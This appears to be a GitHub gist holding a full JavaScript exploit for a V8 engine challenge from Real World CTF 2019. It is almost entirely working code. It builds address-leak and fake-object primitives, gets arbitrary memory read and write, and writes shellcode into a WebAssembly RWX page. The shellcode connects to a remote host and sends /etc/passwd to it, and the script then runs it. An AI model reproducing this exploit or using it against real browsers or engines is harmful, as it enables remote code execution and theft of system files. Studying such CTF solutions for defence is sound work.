-
-
Save raystyle/046288d6057cd0c68c7432aae5d90a17 to your computer and use it in GitHub Desktop.
realworldctf2019 accessible v8 exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let ab = new ArrayBuffer(8); | |
let fv = new Float64Array(ab); | |
let dv = new BigUint64Array(ab); | |
let f2i = (f) => { | |
fv[0] = f; | |
return dv[0]; | |
} | |
let i2f = (i) => { | |
dv[0] = BigInt(i); | |
return fv[0]; | |
} | |
var addrof_prepared = false; | |
var mat_prepared = false; | |
var rw_prepared = false; | |
var ControlledArrayBuffer = new ArrayBuffer(16); | |
var FakeArrayBuffer = null; | |
var BigUintFakeArrayBuffer = null; | |
function leakme(obj) { | |
return obj.prop1.x1; | |
} | |
function prepare_addrof() { | |
var obj = {}; | |
Object.defineProperty(obj, 'prop1', { | |
writable: true, | |
configurable: true, | |
value: {x1: 13.37, x2: 13.38} | |
}); | |
for(let i=0; i<100000; i++) { | |
leakme(obj); | |
} | |
// %PrepareFunctionForOptimization(leakme); | |
// leakme(obj); | |
// %OptimizeFunctionOnNextCall(leakme); | |
// leakme(obj); | |
} | |
function addrof(toleak) { | |
if(!addrof_prepared) { | |
prepare_addrof(); | |
addrof_prepared = true; | |
} | |
var obj = {}; | |
Object.defineProperty(obj, 'prop1', { | |
writable: true, | |
configurable: true, | |
value: {x1: 13.37, x2: 13.38} | |
}); | |
obj.prop1 = {x1: toleak}; | |
return leakme(obj); | |
} | |
function matme(obj) { | |
return obj.prop2[0]; | |
} | |
function prepare_mat() { | |
var obj2 = {}; | |
Object.defineProperty(obj2, 'prop2', { | |
writable: true, | |
configurable: true, | |
value: {x1: {}, x2: {}} | |
}); | |
for(let i=0; i<100000; i++) { | |
matme(obj2); | |
} | |
// %PrepareFunctionForOptimization(matme); | |
// matme(obj2); | |
// %OptimizeFunctionOnNextCall(matme); | |
// matme(obj2); | |
} | |
function materialize(fake_obj) { | |
if(!mat_prepared) { | |
prepare_mat(); | |
mat_prepared = true; | |
} | |
var obj2 = {}; | |
Object.defineProperty(obj2, 'prop2', { | |
writable: true, | |
configurable: true, | |
value: {x1: {}, x2: {}} | |
}); | |
obj2.prop2 = [fake_obj]; | |
return matme(obj2); | |
} | |
function prepareReadWrite64() { | |
var ControlledArrayBuffer_addr = f2i(addrof(ControlledArrayBuffer)); | |
console.log("[+] ControlledArrayBuffer_addr @ 0x" + ControlledArrayBuffer_addr.toString(16)); | |
var a1 = [1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3]; | |
var a2 = [1.1,2.2,i2f(0x4141414141)]; | |
var packed_elements_array = a1.concat(a2); | |
// leak JsArray address | |
var addr = addrof(packed_elements_array); | |
var i_addr = f2i(addr); | |
console.log("[+] JsArray @ 0x" + i_addr.toString(16)); | |
var addr_raw_array = i_addr - BigInt(0x100) + BigInt(0x10); | |
console.log("[+] JsArray datas @ 0x" + addr_raw_array.toString(16)); | |
/* ArrayBuffer */ | |
packed_elements_array[0] = i2f(addr_raw_array + BigInt(7*0x8)); /* ArrayBuffer.map */ | |
packed_elements_array[1] = i2f(0); | |
packed_elements_array[2] = i2f(0); | |
packed_elements_array[3] = i2f(0x0000000000004000); /* ArrayBuffer.size */ | |
packed_elements_array[4] = i2f(ControlledArrayBuffer_addr - BigInt(1) ); /* ArrayBuffer.backing_store */ | |
packed_elements_array[5] = i2f(0x0000000000000002); | |
packed_elements_array[6] = i2f(0); | |
/* ArrayBuffer.map */ | |
packed_elements_array[7] = i2f(addr_raw_array + BigInt(14*0x8)); /* Map.metamap */ | |
packed_elements_array[8] = i2f(0x1900042317080808); | |
packed_elements_array[9] = i2f(0x00000000084003ff); | |
packed_elements_array[10] = i2f(0); | |
packed_elements_array[11] = i2f(0); | |
packed_elements_array[12] = i2f(0); | |
packed_elements_array[13] = i2f(0); | |
/* ArrayBuffer.map.metamap */ | |
packed_elements_array[14] = i2f(addr_raw_array + BigInt(14*0x8)); | |
packed_elements_array[15] = i2f(0x180000441f00000a); | |
packed_elements_array[16] = i2f(0x00000000004003ff); | |
packed_elements_array[17] = i2f(0); | |
packed_elements_array[18] = i2f(0); | |
packed_elements_array[19] = i2f(0); | |
packed_elements_array[20] = i2f(0); | |
/* ArrayBuffer.elements = FixedArray */ | |
packed_elements_array[21] = i2f(0xcafebabe); /* backing store start marker */ | |
/* i2f(0x4141414141) is the end marker of the "real" array */ | |
FakeArrayBuffer = materialize(i2f(addr_raw_array)); | |
BigUintFakeArrayBuffer = new BigUint64Array(FakeArrayBuffer); | |
} | |
function Read64(addr) { | |
if(!rw_prepared) { | |
prepareReadWrite64(); | |
rw_prepared = true; | |
} | |
BigUintFakeArrayBuffer[3] = 0x8n; // size | |
BigUintFakeArrayBuffer[4] = addr; // backing_store | |
var BigIntControlledArrayBuffer = new BigUint64Array(ControlledArrayBuffer); | |
return BigIntControlledArrayBuffer[0]; | |
} | |
function Write64(addr, val) { | |
if(!rw_prepared) { | |
prepareReadWrite64(); | |
rw_prepared = true; | |
} | |
BigUintFakeArrayBuffer[3] = 0x8n; // size | |
BigUintFakeArrayBuffer[4] = addr; // backing_store | |
var BigIntControlledArrayBuffer = new BigUint64Array(ControlledArrayBuffer); | |
BigIntControlledArrayBuffer[0] = val; | |
} | |
function Write8(addr, val) { | |
if(!rw_prepared) { | |
prepareReadWrite64(); | |
rw_prepared = true; | |
} | |
BigUintFakeArrayBuffer[3] = 0x8n; // size | |
BigUintFakeArrayBuffer[4] = addr; // backing_store | |
var Unint8ControllerArrayBuffer = new Uint8Array(ControlledArrayBuffer); | |
Unint8ControllerArrayBuffer[0] = val; | |
} | |
function GetWasmFunc() { | |
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2, | |
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117, | |
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5, | |
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6, | |
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128, | |
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0, | |
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]); | |
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer), {env: {puts: console.log}}); | |
return m.exports.hello; | |
} | |
function GetWasmRWXPage(func) { | |
// from https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/ | |
let WasmOffsets = { | |
shared_function_info : 3n * 0x8n, | |
wasm_exported_function_data : 1n * 0x8n, | |
wasm_instance : 2n * 0x8n, | |
jump_table_start : 16n * 0x8n | |
}; | |
let get_pwnd_addr = f2i(addrof(func)) - 1n; | |
let shared_function_info = Read64(get_pwnd_addr + WasmOffsets.shared_function_info) - 1n; | |
let wasm_exported_function_data = Read64(shared_function_info + WasmOffsets.wasm_exported_function_data) - 1n; | |
let wasm_instance = Read64(wasm_exported_function_data + WasmOffsets.wasm_instance) - 1n; | |
let jump_table_start = Read64(wasm_instance + WasmOffsets.jump_table_start); | |
console.log("[+] get_pwnd_addr is @ 0x" + get_pwnd_addr.toString(16)); | |
console.log("[+] shared_function_info is @ 0x" + shared_function_info.toString(16)); | |
console.log("[+] wasm_exported_function_data is @ 0x" + wasm_exported_function_data.toString(16)); | |
console.log("[+] wasm_instance is @ 0x" + wasm_instance.toString(16)); | |
console.log("[+] jump_table_start is @ 0x" + jump_table_start.toString(16)); | |
return jump_table_start; | |
} | |
/* | |
$ shellcraft amd64.linux.connect 127.0.0.1 1337 -f c && shellcraft amd64.linux.cat /etc/passwd rbp -f c | |
{0x6a, 0x29, 0x58, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x99, 0xf, 0x5, 0x48, 0x89, 0xc5, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x50, 0x48, 0xb8, 0x3, 0x1, 0x4, 0x38, 0xc1, 0xa9, 0x39, 0x3, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2a, 0x58, 0x48, 0x89, 0xef, 0x6a, 0x10, 0x5a, 0x48, 0x89, 0xe6, 0xf, 0x5} | |
{0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x99, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x48, 0x89, 0xef, 0x99, 0xf, 0x5} | |
*/ | |
let shellcode = [ | |
0x6a, 0x29, 0x58, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x99, 0xf, 0x5, 0x48, 0x89, 0xc5, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x50, 0x48, 0xb8, 0x3, 0x1, 0x4, 0x38, 0x7e, 0x1, 0x1, 0x3, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2a, 0x58, 0x48, 0x89, 0xef, 0x6a, 0x10, 0x5a, 0x48, 0x89, 0xe6, 0xf, 0x5, | |
0x68, 0x72, 0x76, 0x65, 0x1, 0x81, 0x34, 0x24, 0x1, 0x1, 0x1, 0x1, 0x48, 0xb8, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x50, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x99, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x48, 0x89, 0xef, 0x99, 0xf, 0x5, | |
0xCC | |
]; | |
var get_pwnd = GetWasmFunc(); | |
let rwx_page = GetWasmRWXPage(get_pwnd); | |
for(let i=0; i<shellcode.length; i++) { | |
Write8(rwx_page + BigInt(i), shellcode[i]); | |
} | |
get_pwnd(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment